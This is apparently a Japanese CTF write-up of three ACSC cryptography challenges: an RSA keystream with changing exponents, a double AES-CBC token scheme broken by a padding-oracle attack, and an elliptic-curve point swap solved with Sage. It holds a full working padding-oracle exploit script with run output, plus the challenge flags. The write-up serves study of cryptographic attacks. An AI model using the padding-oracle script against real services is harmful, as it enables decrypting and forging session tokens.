❯ py solve.py c0: b"m^\xb9v\xbb9\x8e\xe4\xf5\x83~\x92\xcc\xb2(\xf3A\x9bbCw8\xb3\xa9vM[\xf7\xc3;\xe2\xdb\\\xe4\x9e;\x96\xd9S\xc7G\x13\x1a\xe16=\xd6\x8a\xe8gO.p\xf4]\xd5\xd1`uV\x9a~\x92}\xcbnQ9U\xdbj\x88\xc9<\xa5^6B\xec\x98\xe3\xfd2\x10\x95P\x9b\xf0!\x987'>\xf7,\xc9;\x85\x9e]8H\x0f\xff\xb9GH\\\xf3hi\xa4\xe0\xd3q<\xf7s\r7p\x8a\xf9\x9e\xe4q\x04\xc6\x1c\xce\x9a\x11\x0c\xb9\x18Hg*Z\xa5\xa7}S\x82\xf3\xa7Q\xb3c\xb9r\xe5\xdb\x07 v\xa3M\xa96\xaa\xf3\xff0\xfaL8r\xc3\xbc\x83\xaf\xfeB\xd2\x97Y\xd1N\x10l-\xdeXb\x8bw\x9e\xdb\xfeS\xf3 \xb4Bf+sU\xc2\xa4R&`\x15\x7f\x1f\x1c\xd2y\x01;\x93\xa7\xb1E\r\xfc\x11{\xba1.\xc1\x9d\x96N\x15W!X0\x99\x84&\xedS\xed\x89\xa6\x15\xef\x83\x18\xd1\xa1\x1bt<3\x16\xd4\xf5\xd2y0" m0: b'import gmpy2\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse\nfrom Crypto.Util.Padding import pad\n\nfrom flag import m\n#m = b"ACSC{<REDACTED>}" # flag!\n\nf = open("chal.py","rb").read() # I\'ll encrypt myself!\nprint("len:",' e0: 65537 c256: b"c\xc0\xe7*\x03\x9cc\x95,/&p\xa2\x91\xdb\xd5\x0b\xa6\xa7\xd9\x14\x9b\xceU\xaa[\x8fP\xf6{\xd7\xb6\xc9\xaa(\x8bv\xc9\x17V\xc6iOz\x89S\xc4p\x84\x07w\x91\x14\xe8>\x06\x1f\xbfo\xbc/D(3\xea\x1a\x96\x87\x04\xbe\xc1Y\xaf \xd5+\x02FEk\xb1\xac\xd8\x1b\xf6_\xca\xc1\x03\xd1\xd83\x82\x1c\xfa\x15|0\xcdvh\xb6\xaa\x16\xc4\x80*\x80\xa2\x9dg0\xbd\xadKi\x19%g+\xaaV\xf6>\xd4\xed\xabz\x89\x81\xec\xe6z\x14\xd3/\xfdY\xf2\xba\xc1X\xb6w\x94\xde\x85\x85\xe7\xbb\xd5\x86p$a\x8b\xf7\x91\xf9e\xa2\xfc\xe2\xea&\xec\x15\x9b\xabM),\xa4\xb8C\xd3\xd6`\xd4\xe3\xa7\xd0\x02\x9a\x8c\xda\xa7\x84\xb5\x95\xafU2\x93\xe2\\$\xa5$\x9c\xd8}f\xbaN\xccStp'\xd1?`\xb1W[u\xea(\x93v(\xb4_\xce\xa1\x1d\x19z\xff\xaa\x9d^5\x19\xd4\xc9\x0c\xe4b\t\x1f\xbf\x82\xce\xce+\xbe~\x8d\xfc\x1e\xb1\xd8\xe0_" m256: b'len(f))\np = getStrongPrime(1024)\nq = getStrongPrime(1024)\n\nn = p * q\ne = 0x10001\nprint("n =",n)\nprint("e =",e)\nprint("# flag length:",len(m))\nm = pad(m, 255)\nm = bytes_to_long(m)\n\nassert m < n\nstream = pow(m,e,n)\ncipher = b""\n\nfor a in range(0,len(f),256):' e256: 65539 c512: b'\x04J\x89\x91A\xb3\xf5](=\xfb\x1ed\x87\x00\xb8U\xf9%\xb8\x0f7\x85sP\x88o\xbd\x12\x03\x08^X\x9c\xd11$4\rG\xe1\xd9\x9c\xa8\xbeS\xe7\x98\x1c\x14gY\xe0\x11m\n\xd9y:L\x82\xc0.-F\xc4:T\x7f>\xd9\xbf\x9a\x97\xd4\xa7]\x83\xc7\x96+\x96PL\x07\n\x8eI\x1e\xe9\x14\xcfl]j\xb6\x8do<l\xb6\xa0\n\x88\xb4$)\x01"\xad\xe5\n7q\x0e:\x8d\xbaN\xb9\xafwwo\xdb\x91\x97B\xc8\xeb\xc7\xa5\x96c%#I\xe5\xab\xc0+\xdc\xea\xd8\xb7\xeb\xd0Y\xed\xa3_\x92\xf0\xb4\xd4Ez\x8eBkl\x96\xfag\x97\x97XP\xed/\x16\x07\xea,<\xe8\xc7\x12\xf7F\x7f\xfdeN\x86\xdc\xb6\xc0\x8b\xaa^kD6\xa4=\xea\xae\xf1\x1c\xab\xa0\xd2\x03H\\J\xfaw+mm0\xa2\x83\xf9gJ$Ft\\\xf4\xb8\x88q\xdaH,\x8b\x18\xdf\xf9\xf4\xf0\xb2\x8b\x1fA\x9e&b==\xb5\xee\x00\xac\xcf\xf3R\x88}}\xdck' m512: b'\n q = f[a:a+256]\n if len(q) < 256:q = pad(q, 256)\n q = bytes_to_long(q)\n c = stream ^ q\n cipher += long_to_bytes(c,256)\n e = gmpy2.next_prime(e)\n stream = pow(m,e,n)\n\nopen("chal.enc","wb").write(cipher)\n\n' e512: 65543 b'ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e'
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}
CBCBC [210 pt, 35 solves]
#!/usr/bin/env python3 import base64 import json import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from secret import hidden_username, flag key = os.urandom(16) iv1 = os.urandom(16) iv2 = os.urandom(16) def encrypt(msg): aes1 = AES.new(key, AES.MODE_CBC, iv1) aes2 = AES.new(key, AES.MODE_CBC, iv2) enc = aes2.encrypt(aes1.encrypt(pad(msg, 16))) return iv1 + iv2 + enc def decrypt(msg): iv1, iv2, enc = msg[:16], msg[16:32], msg[32:] aes1 = AES.new(key, AES.MODE_CBC, iv1) aes2 = AES.new(key, AES.MODE_CBC, iv2) msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16) return msg def create_user(): username = input("Your username: ") if username: data = {"username": username, "is_admin": False} else: # Default token data = {"username": hidden_username, "is_admin": True} token = encrypt(json.dumps(data).encode()) print("Your token: ") print(base64.b64encode(token).decode()) def login(): username = input("Your username: ") token = input("Your token: ").encode() try: data_raw = decrypt(base64.b64decode(token)) except: print("Failed to login! Check your token again") return None try: data = json.loads(data_raw.decode()) except: print("Failed to login! Your token is malformed") return None if "username" not in data or data["username"] != username: print("Failed to login! Check your username again") return None return data ... if __name__ == "__main__": main()
username
とis_admin
を持つJSONをAES-CBCで二回暗号化した結果をトークンとして扱っています。Loginには入力されたusernameとトークンの復号結果が一致している必要があり、そのときis_admin
がTrueならフラグが貰えます。
トークンにはivの情報も含まれているので復号時に改竄したトークンを渡すことでivは操作可能です。
また、userを作る時にusernameを空にするとデフォルトユーザーとしてis_admin
がTrue、username
がhidden_username(未知)のトークンを貰えます。
復号した平文のpaddingが合わない場合にはFailed to login! Check your token again
、合うならFailed to login! Your token is malformed
が返ってくるのでPadding Oracle Attackができそうですね。
暗号文が2ブロックだとこのような形になります。
P1 = IV1 ^ Dec1(C1')
と表せるので、Padding Oracle AttackによりP1' = IV1' ^ Dec1(C1')
となるP1'
とIV1'
の組を求めます。
P1 = IV1 ^ IV' ^ P1'
と変形できるので、これで1ブロック目の平文が求まります。
P2
についてもP2 = IV2 ^ Dec2(C1') ^ Dec1(C2')
と表せるので、IV2
で同様にPadding Oracle Attackをすることで復元できます。
これを使ってデフォルトユーザーのトークンを解読してusernameを見ます。
from base64 import b64decode, b64encode from pwn import * import json import requests import sys io = process("./chal.py") # io = remote("167.99.77.49", 52171) io.sendlineafter("3. Exit\n> ", "1") name = "" io.sendlineafter("Your username: ", name) print(io.recvuntil("Your token: \n")) token = io.recvline() data = b64decode(token) iv1 = data[0:16] iv2 = data[16:32] enc = data[32:] def send(iv1, iv2, c): token = b64encode(iv1 + iv2 + c) io.sendlineafter("3. Exit\n> ", "2") io.sendlineafter("Your username: ", "hoge") io.sendlineafter("Your token: ", token) io.recvuntil("Failed to login! ") result = io.recvline() if result == b'Your token is malformed\n': return True else: return False # https://qiita.com/taiyaki8926/items/a369c04c40839260c46b#%E8%A7%A3%E6%B3%95 iv = iv1 c = enc[:16] _list = [] while (len(_list) < 16): offset = len(_list) + 1 mid = b'' for i in range(len(_list)): mid += (_list[i] ^ (i + 1) ^ offset).to_bytes(1, 'big') mid = mid[::-1] ans_mid = [] for i in range(256): send_iv = b'\x00' * (16 - offset) + (i).to_bytes(1, 'big') + mid if i % 20 == 0: print("{} done.".format(i)) if send(send_iv, iv2, c): print(hex(i)) ans_mid.append(i) break if len(ans_mid) != 1: print("error") sys.exit() _list.append(ans_mid[0]) print("list : {}".format(_list)) iv_check = b'' for i in range(len(_list)): iv_check += (_list[i] ^ (i + 1) ^ 0x10).to_bytes(1, 'big') iv_check = iv_check[::-1] assert(send(iv_check, iv2, c)) m1 = b'' for i in range(len(_list)): m1 += (iv_check[i] ^ 0x10 ^ iv[i]).to_bytes(1, 'big') print(m1) iv = iv2 c = enc[:32] _list = [] while (len(_list) < 16): offset = len(_list) + 1 mid = b'' for i in range(len(_list)): mid += (_list[i] ^ (i + 1) ^ offset).to_bytes(1, 'big') mid = mid[::-1] ans_mid = [] for i in range(256): send_iv = b'\x00' * (16 - offset) + (i).to_bytes(1, 'big') + mid if i % 20 == 0: print("{} done.".format(i)) if send(iv1, send_iv, c): print(hex(i)) ans_mid.append(i) break if len(ans_mid) != 1: print("error") sys.exit() _list.append(ans_mid[0]) print("list : {}".format(_list)) iv_check = b'' for i in range(len(_list)): iv_check += (_list[i] ^ (i + 1) ^ 0x10).to_bytes(1, 'big') iv_check = iv_check[::-1] assert(send(iv1, iv_check, c)) m2 = b'' for i in range(len(_list)): m2 += (iv_check[i] ^ 0x10 ^ iv[i]).to_bytes(1, 'big') print(m1 + m2)
サーバーが閉じているのでローカルで実行してます。
❯ py attack.py [+] Starting local process './chal.py': pid 466 b'Your token: \n' 0 done. 20 done. 40 done. 60 done. 80 done. 100 done. 120 done. 140 done. 160 done. 0xa7 list : [167] ... 0x2 list : [167, 21, 47, 78, 89, 19, 69, 239, 239, 116, 91, 206, 130, 228, 241, 2] b'{"username": "R3' ... 0xb0 list : [160, 91, 32, 231, 4, 79, 25, 65, 165, 211, 208, 220, 8, 208, 96, 176] b'{"username": "R3dB1ackTreE", "is'
adminトークンのusernameがわかったので、これでログインするとフラグが貰えます。
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
Swap on Curve [250 pt, 34 solves]
from params import p, a, b, flag, y x = int.from_bytes(flag, "big") assert 0 < x < p assert 0 < y < p assert x != y EC = EllipticCurve(GF(p), [a, b]) assert EC(x,y) assert EC(y,x) print("p = {}".format(p)) print("a = {}".format(a)) print("b = {}".format(b))
(flag, y), (y, flag)の二点が存在する楕円曲線のパラメータが与えられるので復元してくださいという問題です。
楕円曲線に関しては全く勉強してなかったので覚えてるWriteupを漁りました。その中で「式変形して一変数の多項式にすればSageで殴れる」という問題がありました。(zer0pts CTF 2021 Not mordell primes)
この方針で見てみたらうまく行きました。楕円曲線の式y^2 = x^3 + ax + b
を使って連立して解きます。
from Crypto.Util.number import long_to_bytes # 1. # y^2 = x^3 + ax + b # 2. # x^2 = y^3 + ay + b # 2<=1. # x^2 = (x^3 + ax + b)y + ay + b # x^2 - b = (x^3 + ax + b + a)y # (x^2 - b)^2 = (x^3 + ax + b + a)^2y^2 # (x^2 - b)^2 = (x^3 + ax + b + a)^2(x^3 + ax + b) # (x^2 - b)^2 - (x^3 + ax + b + a)^2(x^3 + ax + b) = 0 p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507 a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278 b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096 x = PolynomialRing(GF(p), 'x').gen() f = (x**2 - b)**2 - ((x**3 + a*x + b + a)**2) * (x**3 + a*x + b) ans = f.roots() for ai in ans: print(long_to_bytes(ai[0]))
❯ sage solve.sage b'\x93\n)jF\x82K\xabgIM\xbc\xfeT\x8c\xf8&b\xc4\xd7\xb08?\xf8\xfb\xa7\xb2\x8e.\xf32\xffKIX\x0e\\\xf3Bq\x9f\xd3\x97\x922H\xa1\xe0\xeblE\xa5\x13\xaf\x06\xd8t\x84\x834\xd2\xdeD\x8c' b'\x92\x98;^i\t\x8a\xe2h1\xae\xd0YYYXEV\x02ZKp\xc5\x05\xabF\xe1\x98\x83\x92\x80\xc2f\xf6\x7f\xe0\x96\x84jN\x18\xa4\xa1\x92\xbe\x98!\x95o\xd5\x1f\xc46OyrVq\x89G\x14\xc3D\xa2' b'ACSC{have_you_already_read_the_swap<-->swap?})\xd6\x82a\x076s;\x1e\xaf\x13\x92\x1f)\x997-h\xd8'
ACSC{have_you_already_read_the_swap<-->swap?})
感想
solves数が多い問題を順当に(histogram以外)取ったらいつの間にかそこそこ良い順位になってました。今回は個人戦だったので普段ソロで出てる経験が効いたのかもしれません。
今回は手を止める時間は短かったので次はexploit書く時間を短くしたいですね。そうしないとrevに時間突っ込めないので...